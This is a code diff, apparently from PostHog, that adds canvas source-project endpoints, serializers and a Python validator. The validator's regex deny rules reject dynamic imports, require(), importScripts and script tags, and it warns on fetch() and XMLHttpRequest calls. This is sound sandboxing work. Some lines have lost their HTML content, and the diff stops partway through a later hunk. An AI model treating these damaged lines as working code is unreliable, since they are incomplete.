diff --git a/frontend/src/generated/core/api.schemas.ts b/frontend/src/generated/core/api.schemas.ts index 14caaa09a019..f3060e86fe67 100644 --- a/frontend/src/generated/core/api.schemas.ts +++ b/frontend/src/generated/core/api.schemas.ts @@ -2816,6 +2816,164 @@ export interface CanvasPublishConflictApi { current_version_id: string | null } +/** + * Project files keyed by relative path (forward slashes, no '..'). Until the canvas build service ships, only "index.html" and "src/canvas.tsx" (the single React component the canvas mounts) are supported. + */ +export type CanvasSourceProjectApiFiles = { [key: string]: string } + +/** + * Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog/quill, recharts, lucide-react, dayjs) at their pinned versions. + */ +export type CanvasSourceProjectApiDependencies = { [key: string]: string } + +/** + * A canvas's multi-file source project — the canonical write format for canvas source. + * + * Until the canvas build service ships, projects are constrained to the + * legacy-compatible shape: `index.html` (a fixed synthetic shell) plus + * `src/canvas.tsx` (the single React component the runtime mounts). + */ +export interface CanvasSourceProjectApi { + /** Source-project schema version. Currently always 1. */ + schemaVersion: number + /** Project files keyed by relative path (forward slashes, no '..'). Until the canvas build service ships, only "index.html" and "src/canvas.tsx" (the single React component the canvas mounts) are supported. */ + files: CanvasSourceProjectApiFiles + /** The project's entry HTML file. Currently always "index.html". */ + entryHtml: string + /** Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog/quill, recharts, lucide-react, dayjs) at their pinned versions. */ + dependencies?: CanvasSourceProjectApiDependencies + /** Version of the host-injected `ph` canvas SDK the project targets. */ + canvasSdkVersion?: string +} + +/** + * Payload for publishing a complete canvas source project. + */ +export interface CanvasSourcePublishApi { + /** The complete source project to publish. */ + project: CanvasSourceProjectApi + /** Short description of the change, stored on the appended version history entry. */ + prompt?: string + /** Optional new display name for the canvas (rewrites the leaf segment of its path). */ + name?: string + /** + * Optimistic-concurrency guard: the current_version_id the publisher based its edits on (null when it read a canvas with no versions yet). When the canvas has since moved past it the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded. + * @nullable + */ + expected_current_version_id?: string | null +} + +/** + * Identity and version pointers for one canvas (a desktop 'dashboard' entry). + */ +export interface CanvasSummaryApi { + /** The canvas's desktop file-system id. */ + id: string + /** Display name of the canvas (the leaf segment of its path). */ + name: string + /** + * File-system id of the channel (folder) the canvas belongs to, when recorded. + * @nullable + */ + channel_id: string | null + /** + * Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish. + * @nullable + */ + current_version_id: string | null + /** Number of source versions in the canvas's history. */ + version_count: number + /** When the canvas was created. */ + created_at: string +} + +/** + * * `error` - error + * * `warning` - warning + */ +export type DiagnosticSeverityEnumApi = (typeof DiagnosticSeverityEnumApi)[keyof typeof DiagnosticSeverityEnumApi] + +export const DiagnosticSeverityEnumApi = { + Error: 'error', + Warning: 'warning', +} as const + +/** + * One structured validation/build diagnostic for a canvas source project. + */ +export interface CanvasDiagnosticApi { + /** 'error' blocks publishing; 'warning' is advisory and does not block. + * + * * `error` - error + * * `warning` - warning */ + severity: DiagnosticSeverityEnumApi + /** Stable machine-readable diagnostic code, e.g. 'import_not_allowed' or 'unsupported_file'. */ + code: string + /** Human-readable description of the problem and how to fix it. */ + message: string + /** Project-relative path of the file the diagnostic points at, when file-specific. */ + path?: string + /** 1-based line number within `path`, when the diagnostic points at a specific line. */ + line?: number +} + +/** + * Result of a successful source-project publish. + */ +export interface CanvasSourcePublishResponseApi { + /** The canvas after the publish, including the new version pointer. */ + canvas: CanvasSummaryApi + /** Id of the source version this publish created. */ + current_version_id: string + /** Advisory (warning-severity) diagnostics recorded for the published project. */ + diagnostics: CanvasDiagnosticApi[] +} + +/** + * 400 body for a publish whose source project failed validation. + */ +export interface CanvasSourceInvalidApi { + /** Human-readable summary of why the project was rejected. */ + detail: string + /** Always "invalid_source_project". */ + code: string + /** The validation diagnostics, including at least one error. */ + diagnostics: CanvasDiagnosticApi[] +} + +/** + * A canvas's source project plus the version pointer edits must be based on. + */ +export interface CanvasSourceResponseApi { + /** Identity and version pointers for the canvas. */ + canvas: CanvasSummaryApi + /** The canvas's source project. Legacy single-file canvases are presented as a synthetic project. */ + project: CanvasSourceProjectApi + /** + * The live source version this project reflects — pass as expected_current_version_id when publishing an edit. Null before the first publish. + * @nullable + */ + current_version_id: string | null +} + +/** + * Payload for validating a candidate source project without publishing it. + */ +export interface CanvasValidateRequestApi { + /** The candidate source project to validate. */ + project: CanvasSourceProjectApi +} + +/** + * Validation outcome for a candidate source project. + */ +export interface CanvasValidateResponseApi { + /** True when the project has no error-severity diagnostics. */ + valid: boolean + /** Structured diagnostics; errors block publishing, warnings are advisory. */ + diagnostics: CanvasDiagnosticApi[] +} + export interface ContextGenerationApi { /** * ID of the Task currently generating this folder's CONTEXT.md, or null if none. @@ -2894,6 +3052,16 @@ export interface PaginatedFolderInstructionsVersionListApi { results: FolderInstructionsVersionApi[] } +/** + * Payload for creating a new, empty canvas in a channel. + */ +export interface CanvasCreateApi { + /** Display name for the canvas. Slashes are replaced with spaces. */ + name: string + /** Desktop file-system id of the channel (folder) to create the canvas in. */ + channel_id: string +} + export interface FileSystemShortcutApi { readonly id: string /** Display path of the shortcut in the sidebar. */ @@ -4049,6 +4217,17 @@ export type DesktopFileSystemInstructionsVersionsListParams = { search?: string } +export type DesktopFileSystemCanvasesListParams = { + /** + * Only return canvases inside this channel (desktop folder id). + */ + channel_id?: string + /** + * A search term. + */ + search?: string +} + export type DesktopFileSystemShortcutListParams = { /** * Number of results to return per page. diff --git a/frontend/src/generated/core/api.ts b/frontend/src/generated/core/api.ts index 529edd4faf68..bfd829600c55 100644 --- a/frontend/src/generated/core/api.ts +++ b/frontend/src/generated/core/api.ts @@ -13,9 +13,17 @@ import type { BulkUpdateTagsResponseApi, CIMDVerificationTokenApi, CIMDVerificationTokenWithValueApi, + CanvasCreateApi, + CanvasSourcePublishApi, + CanvasSourcePublishResponseApi, + CanvasSourceResponseApi, + CanvasSummaryApi, + CanvasValidateRequestApi, + CanvasValidateResponseApi, CimdVerificationTokensListParams, ContextGenerationApi, ContextGenerationSetApi, + DesktopFileSystemCanvasesListParams, DesktopFileSystemInstructionsVersionsListParams, DesktopFileSystemListParams, DesktopFileSystemShortcutListParams, @@ -1458,6 +1466,77 @@ export const desktopFileSystemCanvasPartialUpdate = async ( }) } +export const getDesktopFileSystemCanvasPublishCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/publish/` +} + +/** + * Publish a complete canvas source project as the canvas's new head version. + * + * Validates the project first — an error-severity diagnostic rejects the + * publish with 400 and leaves the canvas untouched. Guarded publishing via + * `expected_current_version_id` rejects a stale base with 409 instead of + * overwriting newer work. + */ +export const desktopFileSystemCanvasPublishCreate = async ( + projectId: string, + id: string, + canvasSourcePublishApi: CanvasSourcePublishApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasPublishCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasSourcePublishApi), + }) +} + +export const getDesktopFileSystemCanvasSourceRetrieveUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/source/` +} + +/** + * Read a canvas's source project and the version pointer edits must be based on. + * + * Legacy single-file canvases are presented as a synthetic web project whose + * `src/canvas.tsx` holds the stored React component. + */ +export const desktopFileSystemCanvasSourceRetrieve = async ( + projectId: string, + id: string, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasSourceRetrieveUrl(projectId, id), { + ...options, + method: 'GET', + }) +} + +export const getDesktopFileSystemCanvasValidateCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/validate/` +} + +/** + * Validate a candidate source project without publishing it. + * + * Side-effect free: returns the same structured diagnostics a publish would + * enforce, so agents can iterate until the project is publishable. + */ +export const desktopFileSystemCanvasValidateCreate = async ( + projectId: string, + id: string, + canvasValidateRequestApi: CanvasValidateRequestApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasValidateCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasValidateRequestApi), + }) +} + export const getDesktopFileSystemContextGenerationRetrieveUrl = (projectId: string, id: string) => { return `/api/projects/${projectId}/desktop_file_system/${id}/context_generation/` } @@ -1682,6 +1761,61 @@ export const desktopFileSystemMoveCreate = async ( }) } +export const getDesktopFileSystemCanvasesListUrl = ( + projectId: string, + params?: DesktopFileSystemCanvasesListParams +) => { + const normalizedParams = new URLSearchParams() + + Object.entries(params || {}).forEach(([key, value]) => { + if (value !== undefined) { + normalizedParams.append(key, value === null ? 'null' : String(value)) + } + }) + + const stringifiedParams = normalizedParams.toString() + + return stringifiedParams.length > 0 + ? `/api/projects/${projectId}/desktop_file_system/canvases/?${stringifiedParams}` + : `/api/projects/${projectId}/desktop_file_system/canvases/` +} + +/** + * List the project's canvases, newest first (capped at 100). + */ +export const desktopFileSystemCanvasesList = async ( + projectId: string, + params?: DesktopFileSystemCanvasesListParams, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasesListUrl(projectId, params), { + ...options, + method: 'GET', + }) +} + +export const getDesktopFileSystemCanvasesCreateUrl = (projectId: string) => { + return `/api/projects/${projectId}/desktop_file_system/canvases/` +} + +/** + * Create a new, empty canvas in a channel. + * + * The canvas starts with no source; publish a source project to give it one. + */ +export const desktopFileSystemCanvasesCreate = async ( + projectId: string, + canvasCreateApi: CanvasCreateApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasesCreateUrl(projectId), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasCreateApi), + }) +} + export const getDesktopFileSystemCountByPathCreateUrl = (projectId: string) => { return `/api/projects/${projectId}/desktop_file_system/count_by_path/` } diff --git a/frontend/src/generated/core/api.zod.ts b/frontend/src/generated/core/api.zod.ts index 4b4561282eee..12aa17c04334 100644 --- a/frontend/src/generated/core/api.zod.ts +++ b/frontend/src/generated/core/api.zod.ts @@ -9003,6 +9003,96 @@ export const DesktopFileSystemCanvasPartialUpdateBody = /* @__PURE__ */ zod }) .describe("Payload for publishing a freeform canvas's React source via the agent.") +/** + * Publish a complete canvas source project as the canvas's new head version. + * + * Validates the project first — an error-severity diagnostic rejects the + * publish with 400 and leaves the canvas untouched. Guarded publishing via + * `expected_current_version_id` rejects a stale base with 409 instead of + * overwriting newer work. + */ +export const desktopFileSystemCanvasPublishCreateBodyProjectOneCanvasSdkVersionDefault = `0.1.0` + +export const DesktopFileSystemCanvasPublishCreateBody = /* @__PURE__ */ zod + .object({ + project: zod + .object({ + schemaVersion: zod.number().describe('Source-project schema version. Currently always 1.'), + files: zod + .record(zod.string(), zod.string()) + .describe( + 'Project files keyed by relative path (forward slashes, no \'..\'). Until the canvas build service ships, only \"index.html\" and \"src\/canvas.tsx\" (the single React component the canvas mounts) are supported.' + ), + entryHtml: zod.string().describe('The project\'s entry HTML file. Currently always \"index.html\".'), + dependencies: zod + .record(zod.string(), zod.string()) + .optional() + .describe( + 'Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog\/quill, recharts, lucide-react, dayjs) at their pinned versions.' + ), + canvasSdkVersion: zod + .string() + .default(desktopFileSystemCanvasPublishCreateBodyProjectOneCanvasSdkVersionDefault) + .describe('Version of the host-injected `ph` canvas SDK the project targets.'), + }) + .describe( + "A canvas's multi-file source project — the canonical write format for canvas source.\n\nUntil the canvas build service ships, projects are constrained to the\nlegacy-compatible shape: `index.html` (a fixed synthetic shell) plus\n`src\/canvas.tsx` (the single React component the runtime mounts)." + ) + .describe('The complete source project to publish.'), + prompt: zod + .string() + .optional() + .describe('Short description of the change, stored on the appended version history entry.'), + name: zod + .string() + .optional() + .describe('Optional new display name for the canvas (rewrites the leaf segment of its path).'), + expected_current_version_id: zod + .string() + .nullish() + .describe( + 'Optimistic-concurrency guard: the current_version_id the publisher based its edits on (null when it read a canvas with no versions yet). When the canvas has since moved past it the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded.' + ), + }) + .describe('Payload for publishing a complete canvas source project.') + +/** + * Validate a candidate source project without publishing it. + * + * Side-effect free: returns the same structured diagnostics a publish would + * enforce, so agents can iterate until the project is publishable. + */ +export const desktopFileSystemCanvasValidateCreateBodyProjectOneCanvasSdkVersionDefault = `0.1.0` + +export const DesktopFileSystemCanvasValidateCreateBody = /* @__PURE__ */ zod + .object({ + project: zod + .object({ + schemaVersion: zod.number().describe('Source-project schema version. Currently always 1.'), + files: zod + .record(zod.string(), zod.string()) + .describe( + 'Project files keyed by relative path (forward slashes, no \'..\'). Until the canvas build service ships, only \"index.html\" and \"src\/canvas.tsx\" (the single React component the canvas mounts) are supported.' + ), + entryHtml: zod.string().describe('The project\'s entry HTML file. Currently always \"index.html\".'), + dependencies: zod + .record(zod.string(), zod.string()) + .optional() + .describe( + 'Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog\/quill, recharts, lucide-react, dayjs) at their pinned versions.' + ), + canvasSdkVersion: zod + .string() + .default(desktopFileSystemCanvasValidateCreateBodyProjectOneCanvasSdkVersionDefault) + .describe('Version of the host-injected `ph` canvas SDK the project targets.'), + }) + .describe( + "A canvas's multi-file source project — the canonical write format for canvas source.\n\nUntil the canvas build service ships, projects are constrained to the\nlegacy-compatible shape: `index.html` (a fixed synthetic shell) plus\n`src\/canvas.tsx` (the single React component the runtime mounts)." + ) + .describe('The candidate source project to validate.'), + }) + .describe('Payload for validating a candidate source project without publishing it.') + /** * Set or clear the Task associated with this folder's CONTEXT.md generation. */ @@ -9101,6 +9191,18 @@ export const DesktopFileSystemMoveCreateBody = /* @__PURE__ */ zod.object({ shortcut: zod.boolean().nullish(), }) +/** + * Create a new, empty canvas in a channel. + * + * The canvas starts with no source; publish a source project to give it one. + */ +export const DesktopFileSystemCanvasesCreateBody = /* @__PURE__ */ zod + .object({ + name: zod.string().describe('Display name for the canvas. Slashes are replaced with spaces.'), + channel_id: zod.string().describe('Desktop file-system id of the channel (folder) to create the canvas in.'), + }) + .describe('Payload for creating a new, empty canvas in a channel.') + /** * Get count of all files in a folder. */ diff --git a/posthog/api/file_system/canvas_source.py b/posthog/api/file_system/canvas_source.py new file mode 100644 index 000000000000..3e9e0066c5a1 --- /dev/null +++ b/posthog/api/file_system/canvas_source.py @@ -0,0 +1,301 @@ +"""Compatibility adapter between canvas source projects and legacy `meta.code` canvases. + +A canvas source project is the multi-file write format for canvases (see the +canvas application build pipeline plan). Until the build service ships, every +canvas is still stored as a single React file in the dashboard row's +`meta.code`; this module maps between the two shapes: + +- a legacy canvas is presented as a *synthetic* source project whose entry + mounts the stored React component; +- a published source project is validated against the legacy runtime's + constraints (single component file, whitelisted imports) and reduced back to + `meta.code`. + +Everything here is pure — no I/O, no ORM — so it can be exercised without a +database and reused by the build workers later. +""" + +import re +from typing import Any + +CANVAS_SOURCE_SCHEMA_VERSION = 1 +CANVAS_ENTRY_HTML = "index.html" +# The single agent-editable file of a legacy canvas: the React component the +# runtime mounts. Named so a later real web project can keep the same layout. +CANVAS_COMPONENT_PATH = "src/canvas.tsx" +# Version of the host-injected `ph` postMessage bridge the legacy runtime speaks. +CANVAS_SDK_VERSION = "0.1.0" + +MAX_SOURCE_FILES = 64 +MAX_FILE_BYTES = 512 * 1024 +MAX_TOTAL_BYTES = 2 * 1024 * 1024 + +# Platform-supported dependencies, pinned to the exact versions the legacy +# runtime's import map resolves (mirrors FREEFORM_WHITELIST in posthog/code). +PLATFORM_DEPENDENCIES: dict[str, str] = { + "react": "19.0.0", + "react-dom": "19.0.0", + "@posthog/quill": "0.3.0-beta.18", + "recharts": "2.15.0", + "lucide-react": "1.21.0", + "dayjs": "1.11.13", +} + +# Import specifiers the legacy runtime resolves. Exact-match only, so a subpath +# can't smuggle in an unreviewed entry point. +ALLOWED_IMPORT_SPECIFIERS = frozenset( + [ + "react", + "react-dom", + "react-dom/client", + "@posthog/quill", + "recharts", + "lucide-react", + "dayjs", + ] +) + +# The synthetic entry shell. The legacy runtime compiles and mounts the default +# export of the component file itself, so this file is informational: it makes +# the project a self-describing web project and reserves the layout the build +# service will compile for real. +SYNTHETIC_INDEX_HTML = """ + + + + + + +
+ + + + +""" + +# Matches static module specifiers: `from "spec"` (import-with-bindings and +# export-from) or a bare side-effect `import "spec"`. Regex-based like the +# client-side check, so a literal `from "x"` inside a string can still fool it — +# acceptable for the legacy tier; the build service parses for real. +_STATIC_IMPORT_RE = re.compile(r"\bfrom\s*[\"']([^\"']+)[\"']|\bimport\s*[\"']([^\"']+)[\"']") + +# Out-of-band code loading the legacy sandbox rejects outright. +_FORBIDDEN_PATTERNS: list[tuple[re.Pattern[str], str, str]] = [ + (re.compile(r"\bimport\s*\("), "forbidden_dynamic_import", "dynamic import() is not allowed"), + (re.compile(r"\brequire\s*\("), "forbidden_require", "require() is not allowed"), + (re.compile(r"\bimportScripts\s*\("), "forbidden_import_scripts", "importScripts() is not allowed"), + (re.compile(r" is not allowed"), +] + +# Direct network calls: the `ph` bridge is the only sanctioned data path. The +# sandbox CSP blocks these at runtime, so surface them as warnings (the regex +# can't tell code from a comment or string). +_NETWORK_PATTERNS: list[tuple[re.Pattern[str], str, str]] = [ + ( + re.compile(r"\bfetch\s*\("), + "network_fetch", + "fetch() is blocked by the canvas sandbox — use the `ph` data bridge instead", + ), + ( + re.compile(r"\bXMLHttpRequest\b"), + "network_xhr", + "XMLHttpRequest is blocked by the canvas sandbox — use the `ph` data bridge instead", + ), +] + +_PATH_SEGMENT_RE = re.compile(r"^[A-Za-z0-9._@-]+$") + + +def diagnostic( + severity: str, code: str, message: str, path: str | None = None, line: int | None = None +) -> dict[str, Any]: + entry: dict[str, Any] = {"severity": severity, "code": code, "message": message} + if path is not None: + entry["path"] = path + if line is not None: + entry["line"] = line + return entry + + +def has_errors(diagnostics: list[dict[str, Any]]) -> bool: + return any(entry["severity"] == "error" for entry in diagnostics) + + +def synthetic_source_project(meta: dict[str, Any] | None) -> dict[str, Any]: + """Present a legacy `meta.code` canvas as a source project. + + The component file carries the stored source verbatim (empty string for a + canvas that has never been published), and the entry HTML is the fixed + synthetic shell. + """ + code = (meta or {}).get("code") + return { + "schemaVersion": CANVAS_SOURCE_SCHEMA_VERSION, + "files": { + CANVAS_ENTRY_HTML: SYNTHETIC_INDEX_HTML, + CANVAS_COMPONENT_PATH: code if isinstance(code, str) else "", + }, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": dict(PLATFORM_DEPENDENCIES), + "canvasSdkVersion": CANVAS_SDK_VERSION, + } + + +def extract_legacy_code(project: dict[str, Any]) -> str: + """The single-file React source a valid legacy-compatible project reduces to.""" + return project["files"][CANVAS_COMPONENT_PATH] + + +def _validate_path(path: str) -> str | None: + if path == "" or path.startswith("/") or "\\" in path: + return "file paths must be relative, non-empty, and use forward slashes" + segments = path.split("/") + for segment in segments: + if segment in ("", ".", ".."): + return "file paths must not contain empty, '.', or '..' segments" + if not _PATH_SEGMENT_RE.match(segment): + return "file path segments may only contain letters, digits, '.', '_', '@', and '-'" + return None + + +def _line_of(code: str, pattern: re.Pattern[str]) -> int | None: + match = pattern.search(code) + if match is None: + return None + return code.count("\n", 0, match.start()) + 1 + + +def _validate_component_source(code: str) -> list[dict[str, Any]]: + diagnostics: list[dict[str, Any]] = [] + + for pattern, code_name, message in _FORBIDDEN_PATTERNS: + line = _line_of(code, pattern) + if line is not None: + diagnostics.append(diagnostic("error", code_name, message, path=CANVAS_COMPONENT_PATH, line=line)) + + for pattern, code_name, message in _NETWORK_PATTERNS: + line = _line_of(code, pattern) + if line is not None: + diagnostics.append(diagnostic("warning", code_name, message, path=CANVAS_COMPONENT_PATH, line=line)) + + for match in _STATIC_IMPORT_RE.finditer(code): + specifier = match.group(1) or match.group(2) + if specifier and specifier not in ALLOWED_IMPORT_SPECIFIERS: + line = code.count("\n", 0, match.start()) + 1 + diagnostics.append( + diagnostic( + "error", + "import_not_allowed", + f'import of module "{specifier}" is not supported — allowed imports: ' + + ", ".join(sorted(ALLOWED_IMPORT_SPECIFIERS)), + path=CANVAS_COMPONENT_PATH, + line=line, + ) + ) + + return diagnostics + + +def validate_source_project(project: dict[str, Any]) -> list[dict[str, Any]]: + """Validate a candidate source project against the legacy-compatible contract. + + Returns structured diagnostics; an empty list (or warnings only) means the + project is publishable. Mirrors the build pipeline's stage-1 validation + (schema, paths, file count, total size) plus the legacy runtime's + constraints, which stand in for the compile until the build service ships. + """ + diagnostics: list[dict[str, Any]] = [] + + if project.get("schemaVersion") != CANVAS_SOURCE_SCHEMA_VERSION: + diagnostics.append( + diagnostic( + "error", + "unsupported_schema_version", + f"schemaVersion must be {CANVAS_SOURCE_SCHEMA_VERSION}", + ) + ) + + if project.get("entryHtml") != CANVAS_ENTRY_HTML: + diagnostics.append(diagnostic("error", "invalid_entry", f'entryHtml must be "{CANVAS_ENTRY_HTML}"')) + + files = project.get("files") or {} + if len(files) > MAX_SOURCE_FILES: + diagnostics.append( + diagnostic("error", "too_many_files", f"a source project may contain at most {MAX_SOURCE_FILES} files") + ) + + total_bytes = 0 + for path, content in files.items(): + path_problem = _validate_path(path) + if path_problem is not None: + diagnostics.append(diagnostic("error", "invalid_path", path_problem, path=path)) + continue + size = len(content.encode("utf-8")) + total_bytes += size + if size > MAX_FILE_BYTES: + diagnostics.append( + diagnostic( + "error", + "file_too_large", + f"file exceeds the {MAX_FILE_BYTES // 1024} KB per-file limit", + path=path, + ) + ) + if total_bytes > MAX_TOTAL_BYTES: + diagnostics.append( + diagnostic( + "error", + "project_too_large", + f"the source project exceeds the {MAX_TOTAL_BYTES // 1024} KB total size limit", + ) + ) + + # Legacy compatibility: until the build service ships, a canvas compiles to + # exactly one runtime-mounted component; other files can't be deployed. + for path in files: + if _validate_path(path) is None and path not in (CANVAS_ENTRY_HTML, CANVAS_COMPONENT_PATH): + diagnostics.append( + diagnostic( + "error", + "unsupported_file", + f"only {CANVAS_ENTRY_HTML} and {CANVAS_COMPONENT_PATH} are supported until the canvas " + "build service ships; move this code into the component file", + path=path, + ) + ) + if CANVAS_COMPONENT_PATH not in files: + diagnostics.append( + diagnostic( + "error", + "missing_component", + f"the project must contain {CANVAS_COMPONENT_PATH} — the single React component the canvas mounts", + path=CANVAS_COMPONENT_PATH, + ) + ) + + dependencies = project.get("dependencies") or {} + for name, version in dependencies.items(): + pinned = PLATFORM_DEPENDENCIES.get(name) + if pinned is None: + diagnostics.append( + diagnostic( + "error", + "dependency_not_admitted", + f'dependency "{name}" is not platform-supported — supported: ' + + ", ".join(sorted(PLATFORM_DEPENDENCIES)), + ) + ) + elif version != pinned: + diagnostics.append( + diagnostic( + "error", + "dependency_version_mismatch", + f'dependency "{name}" must be the platform-pinned version {pinned}, got {version}', + ) + ) + + component = files.get(CANVAS_COMPONENT_PATH) + if isinstance(component, str): + diagnostics.extend(_validate_component_source(component)) + + return diagnostics diff --git a/posthog/api/file_system/file_system.py b/posthog/api/file_system/file_system.py index 6a2c0826547a..ff60bc298443 100644 --- a/posthog/api/file_system/file_system.py +++ b/posthog/api/file_system/file_system.py @@ -6,16 +6,24 @@ from uuid import UUID, uuid4 from django.conf import settings +from django.core.exceptions import ValidationError as DjangoValidationError from django.db import transaction from django.db.models import Case, F, IntegerField, Q, QuerySet, Value, When from django.db.models.functions import Concat, Lower -from drf_spectacular.utils import OpenApiResponse, extend_schema +from drf_spectacular.utils import OpenApiParameter, OpenApiResponse, extend_schema from rest_framework import filters, pagination, serializers, status, viewsets from rest_framework.request import Request from rest_framework.response import Response from posthog.api.file_system.access_levels import FileSystemAccessLevelSerializerMixin +from posthog.api.file_system.canvas_source import ( + CANVAS_SDK_VERSION, + extract_legacy_code, + has_errors, + synthetic_source_project, + validate_source_project, +) from posthog.api.file_system.deletion import ( HOG_FUNCTION_TYPES, delete_file_system_object, @@ -217,6 +225,10 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): "count", "count_by_path", "context_generation", + "canvases", + "canvas_source", + # POST, but side-effect free: it only reports diagnostics. + "canvas_validate", ] scope_object_write_actions = [ "create", @@ -232,6 +244,8 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): "undo_delete", "set_context_generation", "publish_canvas", + "create_canvas", + "publish_canvas_source", ] def _basename_regex(self, value: str) -> str: @@ -1073,6 +1087,175 @@ class CanvasPublishConflictSerializer(serializers.Serializer): ) +class CanvasSourceProjectSerializer(serializers.Serializer): + """A canvas's multi-file source project — the canonical write format for canvas source. + + Until the canvas build service ships, projects are constrained to the + legacy-compatible shape: `index.html` (a fixed synthetic shell) plus + `src/canvas.tsx` (the single React component the runtime mounts). + """ + + schemaVersion = serializers.IntegerField( + help_text="Source-project schema version. Currently always 1.", + ) + files = serializers.DictField( + child=serializers.CharField(allow_blank=True, trim_whitespace=False), + help_text=( + "Project files keyed by relative path (forward slashes, no '..'). Until the canvas build " + 'service ships, only "index.html" and "src/canvas.tsx" (the single React component the ' + "canvas mounts) are supported." + ), + ) + entryHtml = serializers.CharField( + help_text='The project\'s entry HTML file. Currently always "index.html".', + ) + dependencies = serializers.DictField( + child=serializers.CharField(), + required=False, + default=dict, + help_text=( + "Exact-version dependencies, restricted to the platform-supported set (react, react-dom, " + "@posthog/quill, recharts, lucide-react, dayjs) at their pinned versions." + ), + ) + canvasSdkVersion = serializers.CharField( + required=False, + default=CANVAS_SDK_VERSION, + help_text="Version of the host-injected `ph` canvas SDK the project targets.", + ) + + +class CanvasDiagnosticSerializer(serializers.Serializer): + """One structured validation/build diagnostic for a canvas source project.""" + + severity = serializers.ChoiceField( + choices=["error", "warning"], + help_text="'error' blocks publishing; 'warning' is advisory and does not block.", + ) + code = serializers.CharField( + help_text="Stable machine-readable diagnostic code, e.g. 'import_not_allowed' or 'unsupported_file'.", + ) + message = serializers.CharField(help_text="Human-readable description of the problem and how to fix it.") + path = serializers.CharField( + required=False, + help_text="Project-relative path of the file the diagnostic points at, when file-specific.", + ) + line = serializers.IntegerField( + required=False, + help_text="1-based line number within `path`, when the diagnostic points at a specific line.", + ) + + +class CanvasSummarySerializer(serializers.Serializer): + """Identity and version pointers for one canvas (a desktop 'dashboard' entry).""" + + id = serializers.UUIDField(help_text="The canvas's desktop file-system id.") + name = serializers.CharField(help_text="Display name of the canvas (the leaf segment of its path).") + channel_id = serializers.CharField( + allow_null=True, + help_text="File-system id of the channel (folder) the canvas belongs to, when recorded.", + ) + current_version_id = serializers.CharField( + allow_null=True, + help_text="Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish.", + ) + version_count = serializers.IntegerField(help_text="Number of source versions in the canvas's history.") + created_at = serializers.DateTimeField(help_text="When the canvas was created.") + + +class CanvasCreateSerializer(serializers.Serializer): + """Payload for creating a new, empty canvas in a channel.""" + + name = serializers.CharField( + allow_blank=False, + trim_whitespace=True, + help_text="Display name for the canvas. Slashes are replaced with spaces.", + ) + channel_id = serializers.CharField( + help_text="Desktop file-system id of the channel (folder) to create the canvas in.", + ) + + +class CanvasSourceResponseSerializer(serializers.Serializer): + """A canvas's source project plus the version pointer edits must be based on.""" + + canvas = CanvasSummarySerializer(help_text="Identity and version pointers for the canvas.") + project = CanvasSourceProjectSerializer( + help_text="The canvas's source project. Legacy single-file canvases are presented as a synthetic project." + ) + current_version_id = serializers.CharField( + allow_null=True, + help_text="The live source version this project reflects — pass as expected_current_version_id when publishing an edit. Null before the first publish.", + ) + + +class CanvasValidateRequestSerializer(serializers.Serializer): + """Payload for validating a candidate source project without publishing it.""" + + project = CanvasSourceProjectSerializer(help_text="The candidate source project to validate.") + + +class CanvasValidateResponseSerializer(serializers.Serializer): + """Validation outcome for a candidate source project.""" + + valid = serializers.BooleanField(help_text="True when the project has no error-severity diagnostics.") + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Structured diagnostics; errors block publishing, warnings are advisory.", + ) + + +class CanvasSourcePublishSerializer(serializers.Serializer): + """Payload for publishing a complete canvas source project.""" + + project = CanvasSourceProjectSerializer(help_text="The complete source project to publish.") + prompt = serializers.CharField( + required=False, + allow_blank=True, + trim_whitespace=False, + help_text="Short description of the change, stored on the appended version history entry.", + ) + name = serializers.CharField( + required=False, + allow_blank=False, + trim_whitespace=True, + help_text="Optional new display name for the canvas (rewrites the leaf segment of its path).", + ) + expected_current_version_id = serializers.CharField( + required=False, + allow_null=True, + allow_blank=False, + help_text=( + "Optimistic-concurrency guard: the current_version_id the publisher based its edits on " + "(null when it read a canvas with no versions yet). When the canvas has since moved past it " + "the publish is rejected with a 409 version_conflict instead of overwriting the newer head. " + "Omit to publish unguarded." + ), + ) + + +class CanvasSourcePublishResponseSerializer(serializers.Serializer): + """Result of a successful source-project publish.""" + + canvas = CanvasSummarySerializer(help_text="The canvas after the publish, including the new version pointer.") + current_version_id = serializers.CharField(help_text="Id of the source version this publish created.") + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Advisory (warning-severity) diagnostics recorded for the published project.", + ) + + +class CanvasSourceInvalidSerializer(serializers.Serializer): + """400 body for a publish whose source project failed validation.""" + + detail = serializers.CharField(help_text="Human-readable summary of why the project was rejected.") + code = serializers.CharField(help_text='Always "invalid_source_project".') + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="The validation diagnostics, including at least one error.", + ) + + @extend_schema(extensions={"x-product": "core"}) class DesktopFileSystemViewSet(FileSystemViewSet): """ @@ -1162,12 +1345,39 @@ def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Respons 